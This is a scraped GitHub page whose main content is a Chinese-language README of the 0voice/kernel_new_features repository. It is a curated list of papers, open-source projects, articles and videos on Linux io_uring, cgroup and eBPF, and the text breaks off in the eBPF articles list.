Flare ✨ Lightweight, high performance and fast self-hosted navigation pages, resource utilization rate is <1% CPU, MEM <30 M, Docker Image < 10M

start-page,navigation,self-hosted,bookmark,bookmarks-manager

0voice/kernel_new_features

# 🔰 深挖 Linux 内核的新功能特性，以 io_uring, cgroup, ebpf, llvm 为代表，包含开源项目，代码案例，文章，视频，架构脑图等 所有数据来源于互联网。所谓取之于互联网，用之于互联网。 如果涉及版权侵犯，请邮件至 wchao_isvip@163.com ，我们将第一时间处理。 如果您对我们的项目表示赞同与支持，欢迎您 lssues我们，或者邮件 wchao_isvip@163.com 我们，更加欢迎您 pull requests 加入我们。 感谢您的支持！ ## 🔥 [io_uring](https://en.wikipedia.org/wiki/Io_uring) <div align=center> <img width="60%" height="60%" src="https://user-images.githubusercontent.com/87457873/149773115-12090153-72dc-4d48-ab2a-fbb39a0d4503.png"/> #### —— 2019 年 Linux 5.1 内核首次引入的高性能 异步 I/O 框架，能显著加速 I/O 密集型应用的性能。 </div> ### 文档 - 官方文档: [Efficient I/O with io_uring](https://github.com/0voice/kernel_new_features/blob/main/io_uring.pdf) - 其他文档： - [Improved Storage Performance Using the New Linux Kernel I.O Interface](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/Improved%20Storage%20Performance%20Using%20the%20New%20Linux%20Kernel%20I.O%20Interface.pdf) - [I/O-uring speed the RocksDB & TiKV](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/IO-uring%20speed%20the%20RocksDB%20%26%20TiKV.pdf) - [The Evolution of File Descriptor Monitoring in Linux](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/The%20Evolution%20of%20File%20Descriptor%20Monitoring%20in%20Linux.pdf) - [io_uring-BPF](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/io_uring-BPF.pdf) - [Enabling Financial-Grade Secure Infrastructure with Confidential Computing](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/Enabling%20Financial-Grade%20Secure%20Infrastructure%20with%20Confidential%20Computing.pdf) - [Boosting Compaction in B-Tree Based Key-Value Store by Exploiting Parallel Reads in Flash SSDs](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/Boosting%20Compaction%20in%20B-Tree%20Based%20Key-Value%20Store%20by%20Exploiting%20Parallel%20Reads%20in%20Flash%20SSDs.pdf) - [Programming Emerging Storage Interfaces](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/Programming%20Emerging%20Storage%20Interfaces.pdf) - [I/O is faster than the OS](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/O%20is%20faster%20than%20the%20OS.pdf) - [StefanMetzmacher_sambaxp2021_multichannel_io-uring-rev0-presentation](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/StefanMetzmacher_sambaxp2021_multichannel_io-uring-rev0-presentation.pdf) - [I/O Stack](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/O%20Stack.pdf) - [io_uring-徐浩-阿里云](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E6%A1%A3/io_uring-%E5%BE%90%E6%B5%A9-%E9%98%BF%E9%87%8C%E4%BA%91.pdf) ### 开源项目 - [axboe/liburing](https://github.com/axboe/liburing): io_uring 库，liburing为设置和拆掉 io_uring 实例，还有一个简化接口不需要（或不想）处理完整内核的应用程序边执行。 - [shuveb/io_uring-by-example](https://github.com/shuveb/io_uring-by-example): 一个io_uring 示例的库 - [bytedance/monoio](https://github.com/bytedance/monoio): 基于io-uring的Rust异步运行时 - [spacejam/rio](https://github.com/spacejam/rio): Rust io_uring库，构建在libc上，线程和异步友好，抗误用 - [Iceber/iouring-go](https://github.com/Iceber/iouring-go): 提供易于使用的异步IO接口io_uring - [frevib/io_uring-echo-server](https://github.com/frevib/io_uring-echo-server): io_uring echo server - [hodgesds/iouring-go](https://github.com/hodgesds/iouring-go): Io_uring支持go - [dshulyak/uring](https://github.com/dshulyak/uring): 用于io_uring框架的Golang库(无CGO) - [quininer/ritsu](https://github.com/quininer/ritsu): 一个实验性的基于io-uring的异步运行时。 - [shuveb/loti-examples](https://github.com/shuveb/loti-examples): 源代码示例程序，从主的io_uring指南 - [xuanyi-fu/xynet](https://github.com/xuanyi-fu/xynet): 基于io_uring和c++ 20协程的网络库 - [KuiBaDB/kbio](https://github.com/KuiBaDB/kbio): 一个基于io_uring的异步IO框架 - [shuveb/loti](https://github.com/shuveb/loti): io_uring教程，例子和参考 - [MarkReedZ/mrloop](https://github.com/MarkReedZ/mrloop): C语言使用io_uring的事件循环 - [tchaloupka/during](https://github.com/tchaloupka/during): dlang io_uring包装 - [omegacoleman/arkio](https://github.com/omegacoleman/arkio): 基于异步IO的内核IO库 - [ciconia/awesome-io_uring](https://github.com/ciconia/awesome-io_uring): 一个很棒的io_uring资源、库和工具的分类集合。 - [ddeka0/AsyncIO](https://github.com/ddeka0/AsyncIO): 一个用于异步套接字服务器的CPP包装器，使用linux最新的io_uring API - [uroni/fuseuring](https://github.com/uroni/fuseuring): 使用io_uring实现一个用户空间Linux fuse服务器 - [yunwei37/co-uring-WebServer](https://github.com/yunwei37/co-uring-WebServer): 一个使用io_uring和cpp20协同程序的c++高性能Web服务器 - [romange/helio](https://github.com/romange/helio): 一个基于io_uring Linux接口的现代后端开发框架 - [3541/short-circuit](https://github.com/3541/short-circuit): Linux高性能web服务器，基于io_uring构建。 - [anolis-os-archive/perf-test-for-io_uring](https://github.com/anolis-os-archive/perf-test-for-io_uring): 一个用于io_uring性能测试的框架。 - [BlazeWasHere/Cnidus](https://github.com/BlazeWasHere/Cnidus): 基于io_uring的C语言web框架。 - [AnSpake/osiris](https://github.com/AnSpake/osiris): 一个简单的服务器/客户端，使用io_uring ### 文章 - [io_uring 高效 IO](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/io_uring%20%E9%AB%98%E6%95%88%20IO.md) - [ [译] Linux 异步 I_O 框架 io_uring：基本原理、程序示例与性能压测（2020）](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/%5B%E8%AF%91%5D%20Linux%20%E5%BC%82%E6%AD%A5%20I_O%20%E6%A1%86%E6%9E%B6%20io_uring%EF%BC%9A%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86%E3%80%81%E7%A8%8B%E5%BA%8F%E7%A4%BA%E4%BE%8B%E4%B8%8E%E6%80%A7%E8%83%BD%E5%8E%8B%E6%B5%8B%EF%BC%882020%EF%BC%89.md) - [浅析开源项目之io_uring](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/%E6%B5%85%E6%9E%90%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E4%B9%8Bio_uring.md) - [io_uring 系统性整理](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/io_uring%20%E7%B3%BB%E7%BB%9F%E6%80%A7%E6%95%B4%E7%90%86.md) - [io_uring（1） – 我们为什么会需要 io_uring](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/io_uring%EF%BC%881%EF%BC%89%20%E2%80%93%20%E6%88%91%E4%BB%AC%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BC%9A%E9%9C%80%E8%A6%81%20io_uring.md) - [io_uring（2）- 从创建必要的文件描述符 fd 开始](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/io_uring%EF%BC%882%EF%BC%89-%20%E4%BB%8E%E5%88%9B%E5%BB%BA%E5%BF%85%E8%A6%81%E7%9A%84%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%20fd%20%E5%BC%80%E5%A7%8B.md) - [下一代异步 IO io_uring 技术解密](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/%E4%B8%8B%E4%B8%80%E4%BB%A3%E5%BC%82%E6%AD%A5%20IO%20io_uring%20%E6%8A%80%E6%9C%AF%E8%A7%A3%E5%AF%86.md) - [小谈io_uring](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/%E5%B0%8F%E8%B0%88io_uring.md) - [智汇华云-新时代IO利器-io_uring](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/%E6%99%BA%E6%B1%87%E5%8D%8E%E4%BA%91-%E6%96%B0%E6%97%B6%E4%BB%A3IO%E5%88%A9%E5%99%A8-io_uring.md) - [Linux 5.1 的 io_uring](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/Linux%205.1%20%E7%9A%84%20io_uring.md) - [What is io_uring](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/What%20is%20io_uring) - [io_uring_setup](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/io_uring_setup.md) - [io_uring_enter](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/io_uring_enter.md) - [io_uring_register](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/io_uring_register.md) - [The Low-level io_uring Interface](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/The%20Low-level%20io_uring%20Interface.md) - [Submission Queue Polling](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/Submission%20Queue%20Polling.md) - [Efficient IO with io_uring](https://github.com/0voice/kernel_new_features/blob/main/io_uring/%E6%96%87%E7%AB%A0/Efficient%20IO%20with%20io_uring.md) ### 视频(提取码：1024) - [Speeding Up VM’s I_O Sharing Host's io_uring Queues With Guests by Stefano Garzarella【2020】](https://pan.baidu.com/s/1eQC_OQhfBnkd8t6NbBnseQ) - [Asynchronous I_O and coroutines for smooth data streaming - Björn Fahller - NDC TechTown 2021](https://pan.baidu.com/s/1l5ZEOIwRKwWbnhZPnsj4hQ) - [Guilherme Bernal - Reaching 200k req_s on a single core with io_uring - Crystal 1.0 Conference](https://pan.baidu.com/s/1EzFLmdpq9hEGhTsxhSF5NA) - [Improved Storage Performance Using the New Linux Kernel I O Interface (SDC 2019)](https://pan.baidu.com/s/19vzNrSVAbjXP_XC5eNxj8g) - [io_uring- BPF controlled I_O - Pavel Begunkov](https://pan.baidu.com/s/1g5KLbY9nQ2FIQkN7a3MGDw) - [io_uring in QEMU- high-performance disk I_O for Linux](https://pan.baidu.com/s/1VFOdf6H6rRp3o2EHPmjLXA) - [Kernel Recipes 2019 - Faster IO through io_uring](https://pan.baidu.com/s/1z7sFE2oFDcS6DAbod4UyOQ) - [SDC2021- Samba Multi-Channel_io_uring Status Update](https://pan.baidu.com/s/1-YlabCqs03LS7nJxaOqPKQ) - [Speeding Up VM’s I_O Sharing Host's io_uring Queues With Guests - Stefano Garzarella, Red Hat](https://pan.baidu.com/s/1QW3zvykzFwYKsMZUZK7orA) - [USENIX ATC '19 - Asynchronous I_O Stack_ A Low-latency Kernel I_O Stack for Ultra-Low Latency SSDs](https://pan.baidu.com/s/1sWdfkSU9yjoY53A4wvkcfQ) - [来自阿里云的 Linux 内核 io_uring 介绍与实践](https://pan.baidu.com/s/1FykA5evNh3O3JK4Cu9fs0Q) ## 🔥 [cgroup](https://zh.wikipedia.org/wiki/Cgroups) <div align=center> <img width="60%" height="60%" src="https://user-images.githubusercontent.com/87457873/150078568-4f0de590-793f-41b9-9038-cc8b44894cfb.png"/> #### —— 限制、控制与分离一个进程组的资源（如CPU、内存、磁盘输入输出等）。 </div> ### 文档 - 官方文档: - [Control Groups definition, implementation details, examples and API](https://web.archive.org/web/20120618145303/http://www.kernel.org/doc/Documentation/cgroups/cgroups.txt) - [CPU Accounting Controller; account CPU usage for groups of tasks](https://web.archive.org/web/20120618145303/http://www.kernel.org/doc/Documentation/cgroups/cpuacct.txt) - [documents the cpusets feature; assign CPUs and Mem to a set of tasks](https://web.archive.org/web/20120618145303/http://www.kernel.org/doc/Documentation/cgroups/cpusets.txt) - [Device Whitelist Controller; description, interface and security](https://web.archive.org/web/20120618145303/http://www.kernel.org/doc/Documentation/cgroups/devices.txt) - [checkpointing; rationale to not use signals, interface](https://web.archive.org/web/20120618145303/http://www.kernel.org/doc/Documentation/cgroups/freezer-subsystem.txt) - [Memory Resource Controller; implementation details](https://web.archive.org/web/20120618145303/http://www.kernel.org/doc/Documentation/cgroups/memcg_test.txt) - [Memory Resource Controller; design, accounting, interface, testing](https://web.archive.org/web/20120618145303/http://www.kernel.org/doc/Documentation/cgroups/memory.txt) - [Resource Counter API](https://web.archive.org/web/20120618145303/http://www.kernel.org/doc/Documentation/cgroups/resource_counter.txt) - 其他文档： - [cgroups介绍](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/cgroups%E4%BB%8B%E7%BB%8D.pdf) - [CgroupMemcgMaster](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/CgroupMemcgMaster.pdf) - [Resource Management](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/Resource%20Management.pdf) - [Challenges with the memory resource controller and its performance](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/%20Challenges%20with%20the%20memory%20resource%20controller%20and%20its%20performance.pdf) - [Ressource Management in Linux with Control Groups](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/Ressource%20Management%20in%20Linux%20with%20Control%20Groups.pdf) - [System Programming for Linux Containers Control Groups (cgroups)](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/System%20Programming%20for%20Linux%20Containers%20Control%20Groups%20(cgroups).pdf) - [Managing Resources with cgroups](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/Managing%20Resources%20with%20cgroups.pdf) - [5 years of cgroup v2](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/5%20years%20of%20cgroup%20v2.pdf) - [Linux’s new unified control group system](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/%20Linux%E2%80%99s%20new%20unified%20control%20group%20system.pdf) - [cgroups_intro](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/cgroups_intro.pdf) - [red_hat_enterprise_linux-6-resource_management_guide-en-us](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/red_hat_enterprise_linux-6-resource_management_guide-en-us.pdf) - [An introduction to Control Groups (cgroups)](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/An%20introduction%20to%20Control%20Groups%20(cgroups).pdf) - [Using Linux Control Groups and Systemd to Manage CPU Time and Memory](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/%20Using%20Linux%20Control%20Groups%20and%20Systemd%20to%20Manage%20CPU%20Time%20and%20Memory.pdf) - [An introduction to cgroups and cgroupspy](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E6%A1%A3/An%20introduction%20to%20cgroups%20and%20cgroupspy.pdf) ### 开源项目 - [containerd/cgroups](https://github.com/containerd/cgroups): 用于创建、管理、检查和销毁cgroup。cgroup上设置的资源格式使用这里找到的OCI运行时规范。 - [mhausenblas/cinf](https://github.com/mhausenblas/cinf): 一个查看命名空间和cgroups的命令行工具 - [flouthoc/vas-quod](https://github.com/flouthoc/vas-quod): 用Rust编写的一个极小的容器运行时 - [poelzi/ulatencyd](https://github.com/poelzi/ulatencyd): 使用cgroups最小化linux系统延迟的守护进程 - [haosdent/jcgroup](https://github.com/haosdent/jcgroup): jcgroup是JVM上的cgroup包装器。您可以使用这个库来限制线程的CPU共享、磁盘I/O速度、网络带宽等。 - [kinvolk/traceloop](https://github.com/kinvolk/traceloop): 使用BPF和可重写的环形缓冲区跟踪cgroup中的系统调用 - [tianon/cgroupfs-mount](https://github.com/tianon/cgroupfs-mount): 挂载cgroupfs (v1)层次结构的简单(过时)脚本，特别是用于Debian打包的结构化脚本 - [francisbouvier/cgroups](https://github.com/francisbouvier/cgroups): 一个库来管理cgroups Linux内核特性 - [bpowers/mstat](https://github.com/bpowers/mstat): 这个工具运行在Linux上，利用cgroups内核API(也被Docker等容器基础设施使用)来记录一组进程随时间的内存使用情况。 ### 文章 - [Linux cgroups 概述](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/linux%20cgroups%20%E6%A6%82%E8%BF%B0.md) - [【译】Control Group v2（cgroupv2 权威指南）（KernelDoc, 2021）](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/%5B%E8%AF%91%5D%20Control%20Group%20v2%EF%BC%88cgroupv2%20%E6%9D%83%E5%A8%81%E6%8C%87%E5%8D%97%EF%BC%89%EF%BC%88KernelDoc%2C%202021%EF%BC%89.md) - [How I Used CGroups to Manage System Resources](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/How%20I%20Used%20CGroups%20to%20Manage%20System%20Resources.md) - [Cgroups控制cpu，内存，io示例](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/Cgroups%E6%8E%A7%E5%88%B6cpu%EF%BC%8C%E5%86%85%E5%AD%98%EF%BC%8Cio%E7%A4%BA%E4%BE%8B.md) - [Linux Control Groups V1 和 V2 原理和区别](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/Linux%20Control%20Groups%20V1%20%E5%92%8C%20V2%20%E5%8E%9F%E7%90%86%E5%92%8C%E5%8C%BA%E5%88%AB.md) - [Linux资源管理之cgroups简介](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/Linux%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E4%B9%8Bcgroups%E7%AE%80%E4%BB%8B.md) - [彻底搞懂容器技术的基石： cgroup](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/%E5%BD%BB%E5%BA%95%E6%90%9E%E6%87%82%E5%AE%B9%E5%99%A8%E6%8A%80%E6%9C%AF%E7%9A%84%E5%9F%BA%E7%9F%B3%EF%BC%9A%20cgroup.md) - [深入理解 Linux Cgroup 系列（一）：基本概念](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%20Linux%20Cgroup%20%E7%B3%BB%E5%88%97%EF%BC%88%E4%B8%80%EF%BC%89%EF%BC%9A%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5.md) - [深入理解 Linux Cgroup 系列（二）：玩转 CPU](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%20Linux%20Cgroup%20%E7%B3%BB%E5%88%97%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9A%E7%8E%A9%E8%BD%AC%20CPU.md) - [深入理解 Linux Cgroup 系列（三）：内存](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%20Linux%20Cgroup%20%E7%B3%BB%E5%88%97%EF%BC%88%E4%B8%89%EF%BC%89%EF%BC%9A%E5%86%85%E5%AD%98.md) - [Cgroup - 从CPU资源隔离说起](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/Cgroup%20-%20%E4%BB%8ECPU%E8%B5%84%E6%BA%90%E9%9A%94%E7%A6%BB%E8%AF%B4%E8%B5%B7.md) - [Cgroup - Linux内存资源管理](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/Cgroup%20-%20Linux%E5%86%85%E5%AD%98%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86.md) - [Cgroup - Linux的IO资源隔离](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/Cgroup%20-%20Linux%E7%9A%84IO%E8%B5%84%E6%BA%90%E9%9A%94%E7%A6%BB.md) - [Cgroup - Linux的网络资源隔离](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/Cgroup%20-%20Linux%E7%9A%84%E7%BD%91%E7%BB%9C%E8%B5%84%E6%BA%90%E9%9A%94%E7%A6%BB.md) - [用 cgroups 管理 cpu 资源](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/%E7%94%A8%20cgroups%20%E7%AE%A1%E7%90%86%20cpu%20%E8%B5%84%E6%BA%90.md) - [用 cgruops 管理进程内存占用](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/%E7%94%A8%20cgruops%20%E7%AE%A1%E7%90%86%E8%BF%9B%E7%A8%8B%E5%86%85%E5%AD%98%E5%8D%A0%E7%94%A8.md) - [用 cgroups 管理进程磁盘 io](https://github.com/0voice/kernel_new_features/blob/main/cgroups/%E6%96%87%E7%AB%A0/cgroups%20%E7%AE%A1%E7%90%86%E8%BF%9B%E7%A8%8B%E7%A3%81%E7%9B%98%20io.md) ### 视频 - [Containers_ cgroups, Linux kernel namespaces, ufs, Docker, and intro to Kubernetes pods](https://pan.baidu.com/s/1dfmOxOESpgT9rj4VH1BmRA)---提取码: k4hn - [Understanding and Working with the Cgroups Interface - Michael Anderson, The PTR Group, LLC](https://pan.baidu.com/s/1wD5MRvHheJv1P8i1iQmosQ)---提取码: 54vs - [Linux Container Primitives- cgroups, namespaces, and more!](https://pan.baidu.com/s/1LZ9Ff1EuTArxcv6e0c8-2A)---提取码: cjwd - [Cgroups, namespaces, and beyond](https://pan.baidu.com/s/1IjOURq5X6TEwZn6G5LUhog)---提取码: at6x - [Kubernetes On Cgroup v2 - Giuseppe Scrivano, Red Hat](https://pan.baidu.com/s/1apHDcsiCpiZITd_TwfezCg)---提取码: 552y - [Cgroup Slab Memory Controller and Time Namespace - DevConf.CZ 2021](https://pan.baidu.com/s/1qhVtHJtQjM-7mJVQVDMPwg)---提取码: gayh - [Modern Linux Servers with cgroups - Brandon Philips, CoreOS](https://pan.baidu.com/s/1okbzLkfA7d0uKJRyj3iyDg)---提取码: afm1 - [LISA21 - 5 Years of Cgroup v2- The Future of Linux Resource Control](https://pan.baidu.com/s/1AGo7vUC0F0uKO5gCd4wVxg)---提取码: ygrv - [Limit CPU usage on Ubuntu with Systemd cgroups](https://pan.baidu.com/s/17gB4Lv4LyznfMwTxd9Ae_Q)---提取码: ktva - [What's new in control groups (cgroups) version 2](https://pan.baidu.com/s/1r3V4Htltuy58OUmXGC5aXQ)---提取码: w2tz ## 🔥 [ebpf](https://ebpf.io/) <div align=center> <img width="60%" height="60%" src="https://ebpf.io/static/logo-big-9cf8920e80cdc57e6ea60825ebe287ca.png"/> #### —— Linux 内核中顶级子模块 </div> ### 文档 - 官方文档: - Linux 内核：https://www.kernel.org/doc/Documentation/networking/filter.txt and https://www.kernel.org/doc/html/latest/bpf/# - 开发QA: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/Documentation/bpf/bpf_devel_QA.rst - eBPF-Helpers：https://github.com/iovisor/bpf-docs/blob/master/bpf_helpers.rst/ - 其他文档： - [iovisor/bpf-docs](https://github.com/iovisor/bpf-docs): 列出了 eBPF opcode，项目是 iovisor 总结的系列文档、pre。 - [Advanced_BPF_Kernel_Features_for_the_Container_Age_FOSDEM](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/Advanced_BPF_Kernel_Features_for_the_Container_Age_FOSDEM.pdf) - [BPF to eBPF](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/BPF%20to%20eBPF.pdf) - [Calico-eBPF-Dataplane-CNCF-Webinar-Slides](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/Calico-eBPF-Dataplane-CNCF-Webinar-Slides.pdf) - [Combining System Visibility and Security Using eBPF](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/Combining%20System%20Visibility%20and%20Security%20Using%20eBPF.pdf) - [DPDK+eBPF](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/DPDK%2BeBPF.pdf) - [Experience and Lessons Learned](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/Experience%20and%20Lessons%20Learned.pdf) - [Fast Packet Processing using eBPF and XDP](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/Fast%20Packet%20Processing%20using%20eBPF%20and%20XDP.pdf) - [Kernel Tracing With eBPF](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/Kernel%20Tracing%20With%20eBPF.pdf) - [Kernel analysis using eBPF](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/Kernel%20analysis%20using%20eBPF.pdf) - [Making the Linux TCP stack more extensible with eBPF](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/Making%20the%20Linux%20TCP%20stack%20more%20extensible%20with%20eBPF.pdf) - [Performance Analysis Superpowers with Linux eBPF](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/Performance%20Analysis%20Superpowers%20with%20Linux%20eBPF.pdf) - [Performance Implications of Packet Filtering with Linux eBPF](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/Performance%20Implications%20of%20Packet%20Filtering%20with%20Linux%20eBPF.pdf) - [The Next Linux Superpower eBPF Primer](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/The%20Next%20Linux%20Superpower%20eBPF%20Primer.pdf) - [eBPF - From a Programmer’s Perspective](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/eBPF%20-%20From%20a%20Programmer%E2%80%99s%20Perspective.pdf) - [eBPF In-kernel Virtual Machine & Cloud Computin](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/eBPF%20In-kernel%20Virtual%20Machine%20%26%20Cloud%20Computin.pdf) - [eBPF for perfomance analysis and networking](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/eBPF%20for%20perfomance%20analysis%20and%20networking.pdf) - [eBPF in CPU Scheduler](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/eBPF%20in%20CPU%20Scheduler.pdf) - [eBPF-based Content and Computation-aware Communication for Real-time Edge Computing](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E6%A1%A3/eBPF-based%20Content%20and%20Computation-aware%20Communication%20for%20Real-time%20Edge%20Computing.pdf) ### 开源项目 - [cilium/cilium](https://github.com/cilium/cilium): 用于提供、保护和观察容器工作负载之间的网络连接——云原生，并由革命性的内核技术eBPF提供支持,https://cilium.io/ - [BPF Compiler Collection (BCC)](https://github.com/iovisor/bcc): BCC -基于bpf的Linux IO分析、联网、监控等工具 - [bpftrace](https://github.com/iovisor/bpftrace): Linux eBPF的高级跟踪语言 - [Falco](https://github.com/falcosecurity/falco): 一种行为活动监视器，旨在检测应用程序中的异常活动。Falco在ebp的帮助下在Linux内核层对系统进行审计。它通过其他输入流(如容器运行时度量和Kubernetes度量)丰富了收集到的数据，并允许持续监视和检测容器、应用程序、主机和网络活动。 - [Katran](https://github.com/facebookincubator/katran): 高性能的四层负载均衡器 - [LLVM Compiler](https://github.com/llvm/llvm-project/): 一个模块化和可重用的编译器和工具链技术的集合。 - [microsoft/ebpf-for-windows](https://github.com/microsoft/ebpf-for-windows): 运行在Windows上的eBPF实现 - [aquasecurity/libbpfgo](https://github.com/aquasecurity/libbpfgo): 一个用于Linux ebbpf项目的Go库。 - [aquasecurity/tracee](https://github.com/aquasecurity/tracee): Linux的运行时安全和取证工具。 - [libbpf/libbpf](https://github.com/libbpf/libbpf): libbpf是一个基于C/ c++的库，作为上游Linux内核的一部分进行维护。它包含一个eBPF加载器，它接管处理LLVM生成的eBPF ELF文件，以便将其加载到内核中。 - [libbpf/libbpf-rs](https://github.com/libbpf/libbpf-rs): Rust生态系统的最小和固执的epf工具 - [foniod/redbpf](https://github.com/foniod/redbpf): Rust库用于构建和运行BPF/eBPF模块 - [aya-rs/aya](https://github.com/aya-rs/aya): 一个用于Rust编程语言的eBPF库，其构建的重点是开发人员的体验和可操作性。 - [cilium/hubble](https://github.com/cilium/hubble): 使用eBPF的Kubernetes网络、服务和安全可观测性 - [kubearmor/KubeArmor](https://github.com/kubearmor/KubeArmor): 一个云本地运行时安全强制系统，它在系统级别限制容器和节点的行为(如进程执行、文件访问和网络操作)。 - [iovisor/kubectl-trace](https://github.com/iovisor/kubectl-trace): 使用kubectl在kubernetes集群上调度bpftrace程序 - [iovisor/ply](https://github.com/iovisor/ply): 一款基于eBPF的Linux动态跟踪软件。 ### 文章 - [什么是 